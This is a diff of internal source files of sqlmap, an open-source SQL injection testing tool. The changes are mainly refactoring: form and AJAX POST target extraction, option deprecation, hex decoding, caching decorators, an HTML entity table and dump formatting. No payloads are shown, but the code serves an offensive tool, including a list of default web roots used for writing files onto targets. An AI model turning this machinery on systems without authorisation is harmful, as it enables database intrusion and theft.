+            for control in form.controls:
+                if hasattr(control, "items") and not any((control.disabled, control.readonly)):
+                    # if control has selectable items select first non-disabled
+                    for item in control.items:
+                        if not item.disabled:
+                            if not item.selected:
+                                item.selected = True
+                            break
 
-                if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
-                    dbgMsg = "skipping '%s'" % form.action
-                    logger.debug(dbgMsg)
-                    continue
+            if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
+                dbgMsg = "skipping '%s'" % form.action
+                logger.debug(dbgMsg)
+                continue
 
-                request = form.click()
-            except (ValueError, TypeError) as ex:
-                errMsg = "there has been a problem while "
-                errMsg += "processing page forms ('%s')" % getSafeExString(ex)
-                if raise_:
-                    raise SqlmapGenericException(errMsg)
-                else:
-                    logger.debug(errMsg)
+            request = form.click()
+        except (ValueError, TypeError) as ex:
+            errMsg = "there has been a problem while "
+            errMsg += "processing page forms ('%s')" % getSafeExString(ex)
+            if raise_:
+                raise SqlmapGenericException(errMsg)
             else:
-                url = urldecode(request.get_full_url(), kb.pageEncoding)
-                method = request.get_method()
-                data = request.data
-                data = urldecode(data, kb.pageEncoding, spaceplus=False)
+                logger.debug(errMsg)
+        else:
+            url = urldecode(request.get_full_url(), kb.pageEncoding)
+            method = request.get_method()
+            data = request.data
+            data = urldecode(data, kb.pageEncoding, spaceplus=False)
 
-                if not data and method and method.upper() == HTTPMETHOD.POST:
-                    debugMsg = "invalid POST form with blank data detected"
-                    logger.debug(debugMsg)
-                    continue
+            if not data and method and method.upper() == HTTPMETHOD.POST:
+                debugMsg = "invalid POST form with blank data detected"
+                logger.debug(debugMsg)
+                continue
 
-                # flag to know if we are dealing with the same target host
-                _ = checkSameHost(response.geturl(), url)
+            # flag to know if we are dealing with the same target host
+            _ = checkSameHost(response.geturl(), url)
 
-                if conf.scope:
-                    if not re.search(conf.scope, url, re.I):
-                        continue
-                elif not _:
-                    continue
-                else:
-                    target = (url, method, data, conf.cookie, None)
-                    retVal.add(target)
-    else:
+            if data:
+                data = data.lstrip("&=").rstrip('&')
+
+            if conf.scope and not re.search(conf.scope, url, re.I):
+                continue
+            elif data and not re.sub(r"(%s)=[^&]*&?" % '|'.join(IGNORE_PARAMETERS), "", data):
+                continue
+            elif not _:
+                continue
+            else:
+                target = (url, method, data, conf.cookie, None)
+                retVal.add(target)
+
+    for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
+        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+        data = ""
+
+        for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
+            data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
+
+        data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
+        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
+
+    for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", content):
+        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
+        data = match.group(3)
+
+        data = re.sub(r"\s*\+\s*[^\s'\"]+|[^\s'\"]+\s*\+\s*", "", data)
+
+        data = data.strip("['\"]")
+        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
+
+    if not retVal and not conf.crawlDepth:
         errMsg = "there were no forms found at the given target URL"
         if raise_:
             raise SqlmapGenericException(errMsg)
@@ -4460,9 +4620,9 @@ def getHostHeader(url):
 
     return retVal
 
-def checkObsoleteOptions(args):
+def checkOldOptions(args):
     """
-    Checks for obsolete options
+    Checks for obsolete/deprecated options
     """
 
     for _ in args:
@@ -4472,6 +4632,11 @@ def checkObsoleteOptions(args):
             if OBSOLETE_OPTIONS[_]:
                 errMsg += " (hint: %s)" % OBSOLETE_OPTIONS[_]
             raise SqlmapSyntaxException(errMsg)
+        elif _ in DEPRECATED_OPTIONS:
+            warnMsg = "switch/option '%s' is deprecated" % _
+            if DEPRECATED_OPTIONS[_]:
+                warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_]
+            logger.warn(warnMsg)
 
 def checkSystemEncoding():
     """
@@ -4590,24 +4755,27 @@ def decodeDbmsHexValue(value, raw=False):
     def _(value):
         retVal = value
         if value and isinstance(value, six.string_types):
+            value = value.strip()
+
             if len(value) % 2 != 0:
                 retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value
                 singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value)
             else:
                 retVal = decodeHex(value)
 
-            if not kb.binaryField and not raw:
-                if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
-                    try:
-                        retVal = retVal.decode("utf-16-le")
-                    except UnicodeDecodeError:
-                        pass
+            if not raw:
+                if not kb.binaryField:
+                    if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
+                        try:
+                            retVal = retVal.decode("utf-16-le")
+                        except UnicodeDecodeError:
+                            pass
 
-                elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
-                    try:
-                        retVal = retVal.decode("utf-16-be")
-                    except UnicodeDecodeError:
-                        pass
+                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
+                        try:
+                            retVal = retVal.decode("utf-16-be")
+                        except UnicodeDecodeError:
+                            pass
 
                 if not isinstance(retVal, six.text_type):
                     retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
@@ -4761,7 +4929,7 @@ def prioritySortColumns(columns):
     """
 
     def _(column):
-        return column and "id" in column.lower()
+        return column and re.search(r"^id|id$", column, re.I) is not None
 
     return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
 
@@ -4806,6 +4974,8 @@ def zeroDepthSearch(expression, value):
 
     >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:]
     'FROM DUAL'
+    >>> _ = "a(b; c),d;e"; _[zeroDepthSearch(_, "[;, ]")[0]:]
+    ',d;e'
     """
 
     retVal = []
@@ -4816,8 +4986,12 @@ def zeroDepthSearch(expression, value):
             depth += 1
         elif expression[index] == ')':
             depth -= 1
-        elif depth == 0 and expression[index:index + len(value)] == value:
-            retVal.append(index)
+        elif depth == 0:
+            if value.startswith('[') and value.endswith(']'):
+                if re.search(value, expression[index:index + 1]):
+                    retVal.append(index)
+            elif expression[index:index + len(value)] == value:
+                retVal.append(index)
 
     return retVal
 
@@ -4901,7 +5075,7 @@ def parseRequestFile(reqFile, checkParams=True):
                     port, request = match.groups()
                     try:
                         request = decodeBase64(request, binary=False)
-                    except binascii.Error:
+                    except (binascii.Error, TypeError):
                         continue
                     _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
                     if _:
@@ -4926,7 +5100,7 @@ def parseRequestFile(reqFile, checkParams=True):
             else:
                 scheme, port = None, None
 
-            if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
+            if "HTTP/" not in request:
                 continue
 
             if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
@@ -4951,7 +5125,7 @@ def parseRequestFile(reqFile, checkParams=True):
 
                 newline = "\r\n" if line.endswith('\r') else '\n'
                 line = line.strip('\r')
-                match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
+                match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None
 
                 if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
                     data = ""
@@ -5045,6 +5219,8 @@ def getSafeExString(ex, encoding=None):
 
     >>> getSafeExString(SqlmapBaseException('foobar')) == 'foobar'
     True
+    >>> getSafeExString(OSError(0, 'foobar')) == 'OSError: foobar'
+    True
     """
 
     retVal = None
@@ -5053,10 +5229,11 @@ def getSafeExString(ex, encoding=None):
         retVal = ex.message
     elif getattr(ex, "msg", None):
         retVal = ex.msg
-    elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], six.string_types):
-        retVal = ex[1]
-    elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], six.string_types):
-        retVal = ex[0]
+    elif getattr(ex, "args", None):
+        for candidate in ex.args[::-1]:
+            if isinstance(candidate, six.string_types):
+                retVal = candidate
+                break
 
     if retVal is None:
         retVal = str(ex)

lib/core/compat.py

@@ -1,17 +1,20 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import binascii
 import functools
 import math
 import os
 import random
-import uuid
 import sys
+import time
+import uuid
 
 class WichmannHill(random.Random):
     """
@@ -38,7 +41,6 @@ class WichmannHill(random.Random):
             try:
                 a = int(binascii.hexlify(os.urandom(16)), 16)
             except NotImplementedError:
-                import time
                 a = int(time.time() * 256)  # use fractional seconds
 
         if not isinstance(a, int):
@@ -130,7 +132,6 @@ class WichmannHill(random.Random):
             raise ValueError('seeds must be in range(0, 256)')
         if 0 == x == y == z:
             # Initialize from current time
-            import time
             t = int(time.time() * 256)
             t = int((t & 0xffffff) ^ (t >> 24))
             t, x = divmod(t, 256)
@@ -202,6 +203,7 @@ def round(x, d=0):
     else:
         return float(math.ceil((x * p) - 0.5)) / p
 
+# Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/
 def cmp_to_key(mycmp):
     """Convert a cmp= function into a key= function"""
     class K(object):

lib/core/convert.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -18,6 +18,8 @@ import json
 import re
 import sys
 
+from lib.core.bigarray import BigArray
+from lib.core.compat import xrange
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
@@ -30,6 +32,11 @@ from lib.core.settings import UNICODE_ENCODING
 from thirdparty import six
 from thirdparty.six import unichr as _unichr
 
+try:
+    from html import escape as htmlEscape
+except ImportError:
+    from cgi import escape as htmlEscape
+
 def base64pickle(value):
     """
     Serializes (with pickle) and encodes to Base64 format supplied (binary) value
@@ -102,7 +109,7 @@ def filterNone(values):  # Cross-referenced function
     return [_ for _ in values if _] if isinstance(values, collections.Iterable) else values
 
 def isListLike(value):  # Cross-referenced function
-    raise NotImplementedError
+    return isinstance(value, (list, tuple, set, BigArray))
 
 def shellExec(cmd):  # Cross-referenced function
     raise NotImplementedError
@@ -163,8 +170,13 @@ def encodeHex(value, binary=True):
     True
     >>> encodeHex("123", binary=False)
     '313233'
+    >>> encodeHex(b"123"[0]) == b"31"
+    True
     """
 
+    if isinstance(value, int):
+        value = six.unichr(value)
+
     if isinstance(value, six.text_type):
         value = value.encode(UNICODE_ENCODING)
 
@@ -178,7 +190,7 @@ def encodeHex(value, binary=True):
 
     return retVal
 
-def decodeBase64(value, binary=True):
+def decodeBase64(value, binary=True, encoding=None):
     """
     Returns a decoded representation of provided Base64 value
 
@@ -191,11 +203,11 @@ def decodeBase64(value, binary=True):
     retVal = base64.b64decode(value)
 
     if not binary:
-        retVal = getText(retVal)
+        retVal = getText(retVal, encoding)
 
     return retVal
 
-def encodeBase64(value, binary=True):
+def encodeBase64(value, binary=True, encoding=None):
     """
     Returns a decoded representation of provided Base64 value
 
@@ -206,12 +218,12 @@ def encodeBase64(value, binary=True):
     """
 
     if isinstance(value, six.text_type):
-        value = value.encode(UNICODE_ENCODING)
+        value = value.encode(encoding or UNICODE_ENCODING)
 
     retVal = base64.b64encode(value)
 
     if not binary:
-        retVal = getText(retVal)
+        retVal = getText(retVal, encoding)
 
     return retVal
 
@@ -225,6 +237,11 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
 
     retVal = value
 
+    try:
+        codecs.lookup(encoding)
+    except LookupError:
+        encoding = UNICODE_ENCODING
+
     if isinstance(value, six.text_type):
         if INVALID_UNICODE_PRIVATE_AREA:
             if unsafe:
@@ -257,7 +274,7 @@ def getOrds(value):
 
 def getUnicode(value, encoding=None, noneToNull=False):
     """
-    Return the unicode representation of the supplied value:
+    Returns the unicode representation of the supplied value
 
     >>> getUnicode('test') == u'test'
     True
@@ -299,7 +316,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
         except UnicodeDecodeError:
             return six.text_type(str(value), errors="ignore")  # encoding ignored for non-basestring instances
 
-def getText(value):
+def getText(value, encoding=None):
     """
     Returns textual value of a given value (Note: not necessary Unicode on Python2)
 
@@ -312,7 +329,7 @@ def getText(value):
     retVal = value
 
     if isinstance(value, six.binary_type):
-        retVal = getUnicode(value)
+        retVal = getUnicode(value, encoding)
 
     if six.PY2:
         try:
@@ -345,7 +362,7 @@ def stdoutEncode(value):
         kb.codePage = kb.codePage or ""
 
     if isinstance(value, six.text_type):
-        encoding = kb.get("codePage") or sys.stdout.encoding or UNICODE_ENCODING
+        encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
 
         while True:
             try:
@@ -369,3 +386,20 @@ def stdoutEncode(value):
         retVal = value
 
     return retVal
+
+def getConsoleLength(value):
+    """
+    Returns console width of unicode values
+
+    >>> getConsoleLength("abc")
+    3
+    >>> getConsoleLength(u"\\u957f\\u6c5f")
+    4
+    """
+
+    if isinstance(value, six.text_type):
+        retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
+    else:
+        retVal = len(value)
+
+    return retVal

lib/core/data.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/datatype.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/decorators.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -9,14 +9,16 @@ import functools
 import hashlib
 import threading
 
+from lib.core.datatype import LRUDict
 from lib.core.settings import MAX_CACHE_ITEMS
 from lib.core.settings import UNICODE_ENCODING
-from lib.core.datatype import LRUDict
 from lib.core.threads import getCurrentThreadData
 
-_lock = threading.Lock()
+_cache = {}
+_cache_lock = threading.Lock()
+_method_locks = {}
 
-def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)):
+def cachedmethod(f):
     """
     Method with a cached content
 
@@ -33,22 +35,24 @@ def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)):
     Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/
     """
 
+    _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS)
+
     @functools.wraps(f)
-    def _(*args, **kwargs):
+    def _f(*args, **kwargs):
         key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
 
         try:
-            with _lock:
-                result = cache[key]
+            with _cache_lock:
+                result = _cache[f][key]
         except KeyError:
             result = f(*args, **kwargs)
 
-            with _lock:
-                cache[key] = result
+            with _cache_lock:
+                _cache[f][key] = result
 
         return result
 
-    return _
+    return _f
 
 def stackedmethod(f):
     """
@@ -76,3 +80,16 @@ def stackedmethod(f):
         return result
 
     return _
+
+def lockedmethod(f):
+    @functools.wraps(f)
+    def _(*args, **kwargs):
+        if f not in _method_locks:
+            _method_locks[f] = threading.RLock()
+
+        with _method_locks[f]:
+            result = f(*args, **kwargs)
+
+        return result
+
+    return _

lib/core/defaults.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -20,7 +20,8 @@ _defaults = {
     "level": 1,
     "risk": 1,
     "dumpFormat": "CSV",
-    "tech": "BEUSTQ",
+    "tablePrefix": "sqlmap",
+    "technique": "BEUSTQ",
     "torType": "SOCKS5",
 }
 

lib/core/dicts.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -9,21 +9,21 @@ from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import OS
 from lib.core.enums import POST_HINT
+from lib.core.settings import ACCESS_ALIASES
 from lib.core.settings import BLANK
-from lib.core.settings import NULL
+from lib.core.settings import DB2_ALIASES
+from lib.core.settings import FIREBIRD_ALIASES
+from lib.core.settings import H2_ALIASES
+from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import INFORMIX_ALIASES
+from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
-from lib.core.settings import PGSQL_ALIASES
+from lib.core.settings import NULL
 from lib.core.settings import ORACLE_ALIASES
+from lib.core.settings import PGSQL_ALIASES
 from lib.core.settings import SQLITE_ALIASES
-from lib.core.settings import ACCESS_ALIASES
-from lib.core.settings import FIREBIRD_ALIASES
-from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
-from lib.core.settings import DB2_ALIASES
-from lib.core.settings import HSQLDB_ALIASES
-from lib.core.settings import H2_ALIASES
-from lib.core.settings import INFORMIX_ALIASES
 
 FIREBIRD_TYPES = {
     261: "BLOB",
@@ -290,10 +290,13 @@ OBSOLETE_OPTIONS = {
     "--purge-output": "use '--purge' instead",
     "--check-payload": None,
     "--check-waf": None,
-    "--identify-waf": "functionality being done automatically",
     "--pickled-options": "use '--api -c ...' instead",
 }
 
+DEPRECATED_OPTIONS = {
+    "--identify-waf": "functionality being done automatically",
+}
+
 DUMP_DATA_PREPROCESS = {
     DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"},  # Reference: https://www.tibcommunity.com/docs/DOC-3643
     DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
@@ -301,7 +304,7 @@ DUMP_DATA_PREPROCESS = {
 
 DEFAULT_DOC_ROOTS = {
     OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
-    OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
+    OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
 }
 
 PART_RUN_CONTENT_TYPES = {
@@ -331,3 +334,260 @@ PART_RUN_CONTENT_TYPES = {
     "osCmd": CONTENT_TYPE.OS_CMD,
     "regRead": CONTENT_TYPE.REG_READ
 }
+
+# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html
+
+HTML_ENTITIES = {
+    "quot": 34,
+    "amp": 38,
+    "lt": 60,
+    "gt": 62,
+    "nbsp": 160,
+    "iexcl": 161,
+    "cent": 162,
+    "pound": 163,
+    "curren": 164,
+    "yen": 165,
+    "brvbar": 166,
+    "sect": 167,
+    "uml": 168,
+    "copy": 169,
+    "ordf": 170,
+    "laquo": 171,
+    "not": 172,
+    "shy": 173,
+    "reg": 174,
+    "macr": 175,
+    "deg": 176,
+    "plusmn": 177,
+    "sup2": 178,
+    "sup3": 179,
+    "acute": 180,
+    "micro": 181,
+    "para": 182,
+    "middot": 183,
+    "cedil": 184,
+    "sup1": 185,
+    "ordm": 186,
+    "raquo": 187,
+    "frac14": 188,
+    "frac12": 189,
+    "frac34": 190,
+    "iquest": 191,
+    "Agrave": 192,
+    "Aacute": 193,
+    "Acirc": 194,
+    "Atilde": 195,
+    "Auml": 196,
+    "Aring": 197,
+    "AElig": 198,
+    "Ccedil": 199,
+    "Egrave": 200,
+    "Eacute": 201,
+    "Ecirc": 202,
+    "Euml": 203,
+    "Igrave": 204,
+    "Iacute": 205,
+    "Icirc": 206,
+    "Iuml": 207,
+    "ETH": 208,
+    "Ntilde": 209,
+    "Ograve": 210,
+    "Oacute": 211,
+    "Ocirc": 212,
+    "Otilde": 213,
+    "Ouml": 214,
+    "times": 215,
+    "Oslash": 216,
+    "Ugrave": 217,
+    "Uacute": 218,
+    "Ucirc": 219,
+    "Uuml": 220,
+    "Yacute": 221,
+    "THORN": 222,
+    "szlig": 223,
+    "agrave": 224,
+    "aacute": 225,
+    "acirc": 226,
+    "atilde": 227,
+    "auml": 228,
+    "aring": 229,
+    "aelig": 230,
+    "ccedil": 231,
+    "egrave": 232,
+    "eacute": 233,
+    "ecirc": 234,
+    "euml": 235,
+    "igrave": 236,
+    "iacute": 237,
+    "icirc": 238,
+    "iuml": 239,
+    "eth": 240,
+    "ntilde": 241,
+    "ograve": 242,
+    "oacute": 243,
+    "ocirc": 244,
+    "otilde": 245,
+    "ouml": 246,
+    "divide": 247,
+    "oslash": 248,
+    "ugrave": 249,
+    "uacute": 250,
+    "ucirc": 251,
+    "uuml": 252,
+    "yacute": 253,
+    "thorn": 254,
+    "yuml": 255,
+    "OElig": 338,
+    "oelig": 339,
+    "Scaron": 352,
+    "fnof": 402,
+    "scaron": 353,
+    "Yuml": 376,
+    "circ": 710,
+    "tilde": 732,
+    "Alpha": 913,
+    "Beta": 914,
+    "Gamma": 915,
+    "Delta": 916,
+    "Epsilon": 917,
+    "Zeta": 918,
+    "Eta": 919,
+    "Theta": 920,
+    "Iota": 921,
+    "Kappa": 922,
+    "Lambda": 923,
+    "Mu": 924,
+    "Nu": 925,
+    "Xi": 926,
+    "Omicron": 927,
+    "Pi": 928,
+    "Rho": 929,
+    "Sigma": 931,
+    "Tau": 932,
+    "Upsilon": 933,
+    "Phi": 934,
+    "Chi": 935,
+    "Psi": 936,
+    "Omega": 937,
+    "alpha": 945,
+    "beta": 946,
+    "gamma": 947,
+    "delta": 948,
+    "epsilon": 949,
+    "zeta": 950,
+    "eta": 951,
+    "theta": 952,
+    "iota": 953,
+    "kappa": 954,
+    "lambda": 955,
+    "mu": 956,
+    "nu": 957,
+    "xi": 958,
+    "omicron": 959,
+    "pi": 960,
+    "rho": 961,
+    "sigmaf": 962,
+    "sigma": 963,
+    "tau": 964,
+    "upsilon": 965,
+    "phi": 966,
+    "chi": 967,
+    "psi": 968,
+    "omega": 969,
+    "thetasym": 977,
+    "upsih": 978,
+    "piv": 982,
+    "bull": 8226,
+    "hellip": 8230,
+    "prime": 8242,
+    "Prime": 8243,
+    "oline": 8254,
+    "frasl": 8260,
+    "ensp": 8194,
+    "emsp": 8195,
+    "thinsp": 8201,
+    "zwnj": 8204,
+    "zwj": 8205,
+    "lrm": 8206,
+    "rlm": 8207,
+    "ndash": 8211,
+    "mdash": 8212,
+    "lsquo": 8216,
+    "rsquo": 8217,
+    "sbquo": 8218,
+    "ldquo": 8220,
+    "rdquo": 8221,
+    "bdquo": 8222,
+    "dagger": 8224,
+    "Dagger": 8225,
+    "permil": 8240,
+    "lsaquo": 8249,
+    "rsaquo": 8250,
+    "euro": 8364,
+    "weierp": 8472,
+    "image": 8465,
+    "real": 8476,
+    "trade": 8482,
+    "alefsym": 8501,
+    "larr": 8592,
+    "uarr": 8593,
+    "rarr": 8594,
+    "darr": 8595,
+    "harr": 8596,
+    "crarr": 8629,
+    "lArr": 8656,
+    "uArr": 8657,
+    "rArr": 8658,
+    "dArr": 8659,
+    "hArr": 8660,
+    "forall": 8704,
+    "part": 8706,
+    "exist": 8707,
+    "empty": 8709,
+    "nabla": 8711,
+    "isin": 8712,
+    "notin": 8713,
+    "ni": 8715,
+    "prod": 8719,
+    "sum": 8721,
+    "minus": 8722,
+    "lowast": 8727,
+    "radic": 8730,
+    "prop": 8733,
+    "infin": 8734,
+    "ang": 8736,
+    "and": 8743,
+    "or": 8744,
+    "cap": 8745,
+    "cup": 8746,
+    "int": 8747,
+    "there4": 8756,
+    "sim": 8764,
+    "cong": 8773,
+    "asymp": 8776,
+    "ne": 8800,
+    "equiv": 8801,
+    "le": 8804,
+    "ge": 8805,
+    "sub": 8834,
+    "sup": 8835,
+    "nsub": 8836,
+    "sube": 8838,
+    "supe": 8839,
+    "oplus": 8853,
+    "otimes": 8855,
+    "perp": 8869,
+    "sdot": 8901,
+    "lceil": 8968,
+    "rceil": 8969,
+    "lfloor": 8970,
+    "rfloor": 8971,
+    "lang": 9001,
+    "rang": 9002,
+    "loz": 9674,
+    "spades": 9824,
+    "clubs": 9827,
+    "hearts": 9829,
+    "diams": 9830
+}

lib/core/dump.py

@@ -1,11 +1,10 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import cgi
 import hashlib
 import os
 import re
@@ -28,8 +27,10 @@ from lib.core.common import safeCSValue
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
+from lib.core.convert import getConsoleLength
 from lib.core.convert import getText
 from lib.core.convert import getUnicode
+from lib.core.convert import htmlEscape
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -39,8 +40,8 @@ from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import DUMP_FORMAT
 from lib.core.exception import SqlmapGenericException
-from lib.core.exception import SqlmapValueException
 from lib.core.exception import SqlmapSystemException
+from lib.core.exception import SqlmapValueException
 from lib.core.replication import Replication
 from lib.core.settings import DUMP_FILE_BUFFER_SIZE
 from lib.core.settings import HTML_DUMP_CSS_STYLE
@@ -52,11 +53,10 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
 from lib.core.settings import VERSION_STRING
 from lib.core.settings import WINDOWS_RESERVED_NAMES
+from lib.utils.safe2bin import safechardecode
 from thirdparty import six
 from thirdparty.magic import magic
 
-from extra.safe2bin.safe2bin import safechardecode
-
 class Dump(object):
     """
     This class defines methods used to parse and output the results
@@ -69,13 +69,12 @@ class Dump(object):
         self._lock = threading.Lock()
 
     def _write(self, data, newline=True, console=True, content_type=None):
-        if conf.api:
-            dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
-            return
-
         text = "%s%s" % (data, "\n" if newline else " ")
 
-        if console:
+        if conf.api:
+            dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
+
+        elif console:
             dataToStdout(text)
 
         multiThreadMode = isMultiThreadMode()
@@ -117,7 +116,6 @@ class Dump(object):
     def string(self, header, data, content_type=None, sort=True):
         if conf.api:
             self._write(data, content_type=content_type)
-            return
 
         if isListLike(data):
             self.lister(header, data, content_type, sort)
@@ -137,8 +135,6 @@ class Dump(object):
                 self._write("%s:\n---\n%s\n---" % (header, _))
             else:
                 self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
-        else:
-            self._write("%s:\tNone" % header)
 
     def lister(self, header, elements, content_type=None, sort=True):
         if elements and sort:
@@ -151,7 +147,6 @@ class Dump(object):
 
         if conf.api:
             self._write(elements, content_type=content_type)
-            return
 
         if elements:
             self._write("%s [%d]:" % (header, len(elements)))
@@ -198,12 +193,11 @@ class Dump(object):
             self._areAdmins = userSettings[1]
             userSettings = userSettings[0]
 
-        users = list(userSettings.keys())
+        users = [_ for _ in userSettings.keys() if _ is not None]
         users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
         if conf.api:
             self._write(userSettings, content_type=content_type)
-            return
 
         if userSettings:
             self._write("%s:" % header)
@@ -237,7 +231,6 @@ class Dump(object):
         if isinstance(dbTables, dict) and len(dbTables) > 0:
             if conf.api:
                 self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
-                return
 
             maxlength = 0
 
@@ -246,7 +239,7 @@ class Dump(object):
                     if table and isListLike(table):
                         table = table[0]
 
-                    maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table))))
+                    maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table))))
 
             lines = "-" * (int(maxlength) + 2)
 
@@ -267,7 +260,7 @@ class Dump(object):
                         table = table[0]
 
                     table = unsafeSQLIdentificatorNaming(table)
-                    blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table)))
+                    blank = " " * (maxlength - getConsoleLength(getUnicode(table)))
                     self._write("| %s%s |" % (table, blank))
 
                 self._write("+%s+\n" % lines)
@@ -280,7 +273,6 @@ class Dump(object):
